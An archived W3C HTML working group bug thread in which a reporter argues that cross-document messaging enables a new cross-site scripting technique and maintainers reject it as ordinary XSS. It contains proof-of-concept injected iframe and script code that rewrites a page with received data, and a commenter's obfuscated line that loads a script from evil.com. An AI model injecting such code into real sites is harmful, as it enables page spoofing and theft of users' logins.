This is an archived snapshot of W3C's public bugzilla bug tracker, decommissioned in April 2019. Please see the home page for more details.

Bug 12469 - Dynamic Cross-Site Scripting and Page Repainting
Summary: Dynamic Cross-Site Scripting and Page Repainting
Status: RESOLVED WONTFIX
Alias: None
Product: HTML WG
Classification: Unclassified
Component: LC1 HTML5 spec (show other bugs)
Version: unspecified
Hardware: All All
: P2 critical
Target Milestone: ---
Assignee: contributor
QA Contact: HTML WG Bugzilla archive list
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2011-04-11 10:02 UTC by Simon
Modified: 2011-08-04 05:02 UTC (History)
7 users (show)

See Also:


Attachments

Description Simon 2011-04-11 10:02:40 UTC
It has come to my attention in my studies that the addition of cross-document messaging in HTML5 allows a new, dynamic form of cross-site scripting to be developed, employing legitimate communications between injected content. By accompanying this with the document.wrtie() function, this could then be used to dynamically control repaint the entire content of a webpage vulnerable to code injection. A website could then be completely simulated by the XSS attack while still residing on a legitimate domain, a man-in-the-middle blue-pill esk attack.

In this example, dynamically served code is appended to the original page, removing document.getElementsByTagName('html')[0].innerHTML will allow the page to be completely changed:

>>>>>Injected Code:

<iframe id="mommy" src="URL" style="visibility:hidden; height:0; width:0"></iframe>
<script>
	window.addEventListener ("message", recvPayload, false);
	
	function recvPayload (event) {
		document.write(document.getElementsByTagName('html')[0].innerHTML + unescape(event.data));
    }
		
	function requestPayload () {
		var frame = document.getElementById ("mommy");
		frame.contentWindow.postMessage ("baby wants milk!", "*");
	}
</script>
<a href="" onClick="requestPayload ()"> <!-- clickjacking -->

>>>>Server Page:

<script>
	window.addEventListener ("message", sendPayload, false);
	  
	payload = ("%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%44%79%6E%61%6D"+
				 "%69%63%20%58%53%53%21%22%29%3B%3C%2F%73%63%72%69%70%74%3E");

	function sendPayload (event) {
		event.source.postMessage (payload, event.origin);
    }
</script>

I propose the addition of a tag which, disables any script within its bounds perhaps along the lines of.. <plaintext></plaintext> this would allow web developers to disable areas of a page from using script, blocking XSS attacks.

I would appreciate your thoughts on this.

Many Thanks,
Simon Young
Comment 1 Simon 2011-04-11 12:26:37 UTC
The <plaintext> function would be better implimented using CSS styles applied to a contatiner, to avoid XSS attacks from starting with "</plaintext><script>.."
Comment 2 Tab Atkins Jr. 2011-04-11 17:01:46 UTC
There doesn't appear to be anything new in this attack.  The basic attack surface is still just a page author allowing users to put arbitrary content into the document; all you've done is add an over-complicated way of letting the attacking script pull extra resources from the server.  This is the same bog-standard attack vector that has existed since the <script> tag was invented.  Authors should always sanitize user input.

That said, the @sandbox attribute on <iframe> was created specifically to address these sorts of situations.  Load the user's data in an iframe with the sandbox turned on, rather than just writing it directly into the page, and you're good.  If you don't want to incur a network request for every piece of user content, load the content with the @srcdoc attribute rather than @src.
Comment 3 Aryeh Gregor 2011-04-11 22:15:32 UTC
I don't get it.  What makes this any worse than any XSS attack?  What does the attacker gain by using postMessage() to get the injected code instead of just including it directly in the exploit?

(Also, there's already a <plaintext> element in HTML, which does something different from this.  <xmp> does something like what you say, but attackers could just add </xmp> to avoid it.  You need to actually escape the content somehow, using htmlspecialchars() or your language's equivalent.)
Comment 4 Simon 2011-04-11 22:48:47 UTC
Thank you both for your responses, I do agree; the attack vector for this exploit is the same as conventional XSS attacks. However, I think there are a few differences you might have overlooked with this method:

Firstly, the external site referenced to in the iFrame does not need to be a .js file, it can be any webpage format (html, xml, php etc...) providing a message listener is implemented. 

Secondly, this exploit conforms to the DOM same-origin policy because the external script/page is not included directly in the website (its in the iFrame), cross-site messaging is allowed and the injected code appears to be the normal construct of the page. In the case of a stored/persistent XSS attack this would make it invisible to browser-based XSS detection, such as those employed by IE and Safari.

Thirdly, the external page (within the iFrame) has full control of the compromised site because the injected code acts as its slave. Cross-domain control of an iFrames parent window in JavaScript was previously impossible. i.e. This will not work:

window.parent.document.write("XSS!");

The slave could also be instructed to make seemingly legitimate requests as if it were the compromised domain, such as an XMLHTTPRequest and then pass the results to the external site. If the external site then modified these results so that all links in the new page were also XMLHTTPRequests to be passed back to itself, this type of XSS could be used as a full man-in-the-middle attack.

Thanks again,

Simon Young
Comment 5 Henri Sivonen 2011-04-12 05:55:18 UTC
(In reply to comment #4)
> Secondly, this exploit conforms to the DOM same-origin policy because the
> external script/page is not included directly in the website (its in the
> iFrame), cross-site messaging is allowed and the injected code appears to be
> the normal construct of the page. In the case of a stored/persistent XSS attack
> this would make it invisible to browser-based XSS detection, such as those
> employed by IE and Safari.

This is not quite so. With cross-document messaging, the user of the API is responsible for checking that the "message" events come from an origin the page trusts if the page does something that requires trusted message data. Passing the message data to innerHTML or document.write is dangerous, so you should be checking that event.origin is trusted in recvPayload. That you don't is a security bug in your code.
Comment 6 Simon 2011-04-12 08:35:05 UTC
Thanks Henri,

However, with respects I think you have misinterpreted the idea of this exploit. The recvPayload function is infact part of the injected code. Though I could validate the origin of messages so that it can only be exploited by my server I have not done so in the case of this example.
You could add an extra line to validate message by cross-checking it with the iFrame.

Thanks,

Simon
Comment 7 Henri Sivonen 2011-04-12 09:08:00 UTC
(In reply to comment #6)
> However, with respects I think you have misinterpreted the idea of this
> exploit. The recvPayload function is infact part of the injected code.

Ah. In that case, the attack needs the ability to inject a <script> element to succeed. If you let the attacker inject a <script>, you have already lost regardless of cross-document messaging. The injected script could load its payload by using <script src="http://different-origin.example.com/attack.js"> which allows code to be loaded cross-origin.
Comment 8 Simon 2011-04-12 09:13:26 UTC
Indeed; this exploit relys on the same attack vector as stadard XSS, as already metioned by myself and Tab Atkins Jr. For the differances please re-read comment 4...

Thanks,

Simon
Comment 9 Henri Sivonen 2011-04-12 10:28:39 UTC
(In reply to comment #4)
> Firstly, the external site referenced to in the iFrame does not need to be a
> .js file, it can be any webpage format (html, xml, php etc...) providing a
> message listener is implemented. 

This isn't particularly interesting considering that your scenario requires an inline script to be injected first. If all the attack code were packed into that script, the attack would work without any external files at all.

> Secondly, this exploit conforms to the DOM same-origin policy because the
> external script/page is not included directly in the website (its in the
> iFrame), cross-site messaging is allowed and the injected code appears to be
> the normal construct of the page. In the case of a stored/persistent XSS attack
> this would make it invisible to browser-based XSS detection, such as those
> employed by IE and Safari.

Your scenario involves injecting a <script>, which is something XSS detectors look for.
 
> Thirdly, the external page (within the iFrame) has full control of the
> compromised site because the injected code acts as its slave. Cross-domain
> control of an iFrames parent window in JavaScript was previously impossible.

The bootstrap <script> your scenario requires injecting already has full control.

So the actual compromise happens when the bootstrap script gets injected. That the bootstrap script could use cross-document messaging isn't particularly interesting.
Comment 10 Simon 2011-04-12 11:06:22 UTC
Thank you again for your input I do appreciate it. Though I think we may have to agree to disagree as I feel Im just further reiterating my points.

I will say however, previous exploits require the injection of a script via:

<script src=www.externaldomain.com/script.js>

In the case of a stored XSS attack (one that becomes a permanent feature of a website); this would be an obvious indicator of cross site scripting. 

In my example, script embedding can be a lot more subtle:

<iframe id="mommy" src="www.externaldomain.com/randomwebpage.html" style="visibility:hidden; height:0; width:0"></iframe>

As a result of this same-origin compliant embedding, it would be harder to detect any cross-site scripting activity. The corresponding injected <script> accompanying the iFrame does not reference anything that could be deemed as suspicious because it also complies with the same-origin policy and being stored does not feature in the URL bar of the browser either (another method of detecting XSS).

Many Thanks,

Simon
Comment 11 Simon 2011-04-12 11:12:09 UTC
In addition, using the postMessage() API to return data to the external domain is another method of returning valuable details such as  login information to the external domain, while still looking seemingly legitimate.

Simon
Comment 12 Aryeh Gregor 2011-04-12 22:34:47 UTC
(In reply to comment #10)
> I will say however, previous exploits require the injection of a script via:
> 
> <script src=www.externaldomain.com/script.js>
> 
> In the case of a stored XSS attack (one that becomes a permanent feature of a
> website); this would be an obvious indicator of cross site scripting. 
> 
> In my example, script embedding can be a lot more subtle:
> 
> <iframe id="mommy" src="www.externaldomain.com/randomwebpage.html"
> style="visibility:hidden; height:0; width:0"></iframe>

Why is that any more subtle than

<script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgc3JjPWh0dHA6Ly9ldmlsLmNvbS9teWpzLmpzPjwvc2NyaXB0Picp"));</script>

or any similar obfuscation method?  (The one I just gave doesn't work in IE, but there are loads of other options.)  For your exploit to be meaningfully new, it must make it possible to gain some type of access that would not previously have been possible.  You're transferring data using postMessage() instead of <script src>, but that's just doing standard XSS in a new way -- there's no new exploit here.

It isn't enough to just list how your attack is different from previous attacks.  For the attack to actually be the fault of postMessage(), it has to be something where no equivalent attack can be performed without using postMessage(), which is just not the case here.
Comment 13 Simon 2011-04-13 00:14:06 UTC
Aryeh,

You have not provided any comparison to the quote from my comment. You have simply just obscured the command document.write(). Though your script could be injected into a webpage, it is not cross-site scripting but just plain old code injection. Besides, I have not mentioned obfuscation anywhere...

I will try and briefly define/rephrase the exploit for you. Perhaps then you can go back to the top and re-read it.

Prior to HTML5 and cross-document messaging, this method of cross-site scripting was not possible.

By implementing XSS this way, you can make an exploit behave in a seemingly legitimate manner. What I mean by this in lose terms is: cross-document messaging is designed to behave this way, so in a stored attack (residing on the server and then being displayed to users) how do you distinguish between friend and foe? 

This method of attack also provides the potential to legitimately use multiple files from the external domain because the iFrames content is of the same origin. Then via the slave the external domain can also legitimately access files belonging to the exploited domain by providing appropriate instruction.

In response to:
<quote>It isn't enough to just list how your attack is different from previous attacks. For the attack to actually be the fault of postMessage(), it has to be something where no equivalent attack can be performed without using postMessage(), which is just not the case here.</quote>

This is therefore a Cross-site scripting attack which completely conforms to the same-origin policy. This was not possible before cross-document messaging. And at the very least is a new way to implement an XSS attack.

Simon
Comment 14 Aryeh Gregor 2011-06-24 21:35:13 UTC
EDITOR'S RESPONSE: This is an Editor's Response to your comment. If you are
satisfied with this response, please change the state of this bug to CLOSED. If
you have additional information and would like the Editor to reconsider, please
reopen this bug. If you would like to escalate the issue to the full HTML
Working Group, please add the TrackerRequest keyword to this bug, and suggest
title and text for the Tracker Issue; or you may create a Tracker Issue
yourself, if you are able to do so. For more details, see this document:

   http://dev.w3.org/html5/decision-policy/decision-policy.html

Status: Rejected
Change Description: no spec change
Rationale: There is no threat that the proposed <plaintext> tag would address that cannot already be better addressed by other means.  The threat explained in comment #0 and subsequent comments is substantially identical to any preexisting type of XSS, as far as I can determine based on the discussion.  The only explanation as to why it's different is things like "behave in a seemingly legitimate manner", "completely conforms to the same-origin policy", and other statements that don't appear relevant to the proposed feature.
Comment 15 Michael[tm] Smith 2011-08-04 05:02:04 UTC
mass-moved component to LC1